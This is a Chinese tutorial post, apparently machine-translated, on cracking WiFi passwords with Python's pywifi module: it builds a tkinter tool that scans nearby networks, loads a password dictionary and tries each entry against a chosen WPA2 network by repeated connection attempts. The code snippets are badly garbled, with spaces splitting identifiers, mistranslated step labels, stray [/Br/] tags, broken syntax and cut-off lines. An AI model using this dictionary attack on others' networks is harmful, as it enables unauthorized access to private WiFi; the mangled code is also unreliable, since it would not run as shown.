怎么用python破解wifi密码(python怎么破解wifi密码呢)
现在家家都有WiFi了!大家都以为万能钥匙破解不了是为了防止别人把WiFi密码设置的更复杂!今天就给大家展示一下python工程师是怎么破解WiFi密码的!今天就用python中的pywifi模块来写这个程序吧!转到教程
首先,获取密码文件的路径
self.get_value = StringVar()
第二,获得一个WiFi帐户
self.get_wifi_value = StringVar()
第三,获取WiFi密码
self . get _ wifi mm _ value = string var()
4.抢网卡接口。
self.wifi = pywifi。PyWiFi()
5.抢到第一块无线网卡
self . iface = self . wifi . interfaces()[0]
不及物动词测试连接并断开所有链接。
self.iface.disconnect()
七、测试网卡是否断开。
在[const中断言self.iface.status()。IFACE_DISCONNECTED,const。IFACE_INACTIVE]
八、会自动调用函数,返回自己的网卡。
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
九。搜索WiFi
#开始扫描打印(" _开始扫描附近的WiFi ... ")self . iface . scan()time . sleep(15)#几秒钟后得到扫描结果 scan res = self统计附近发现的热点数量nums = len(scanres)print(" number:% s " %(nums))# print(" | % s | % s | % s " %(" WiFi ID " ,) " signal "))#实际数据
X.添加密码文件目录
self . filename = tkinter . file dialog . askopenfilename()self . get _ value . set(self . filename)
XI。Treeview绑定事件
self . sels = event . widget . selection()self . get _ wifi _ value . set(self.wifi_tree.item(self.sels," values")[1])#print("你点击了",self . wifi _ tree . item(self . sels," values))[1])
十二。阅读密码字典并匹配它。
def read password(self):self . getfile path = self . get _ value . get()self . get _ wifi ssid = self . get _ wifi _ value . get()pwdfilehander = open(self . getfile path," r ",errors = " ignore ")while True:try:self . pwd str = pwdfilehander . readline()]self . pwd str)self . get _ wifi mm _ value . set(self . pwd str)tkinter . messagebox . showinfo('提示','成功破解!!!']print(self . RES)breakelse:self . RES = "-error-WiFi名称:%s匹配密码:% s"% (self.get _ WiFi SSID,self.pww
十三。匹配wifi和密码
#创建wifi链接文件[/Br/]self . profile = py WiFi . profile()[/Br/]self . profile . ssid = WiFi _ ssid # WiFi名称[/Br/]self . profile . auth = const . auth _ alg _ open #打开网卡[/Br/]self . profile . akm . append(const . akm _ type _ wpa 2 PSK)# WiFi加密算法[/Br/]self . profile . cipher = const . cipher _ type _ ccmp #加密单元[ self . tmp _ profile = self . iface . add _ network _ profile(self . profile)#设置一个新的链接文件[/Br/]self . iface . connect(self . tmp _ profile)# link[/Br/]time . sleep(5)[/Br/]if self . iface . status()= const . iface _ connected:#判断是否连接[/Br/]isok = true[/Br/]ISOK = false[/Br/]self . iface . disconnect()# disconnect[/Br/]time
运行结果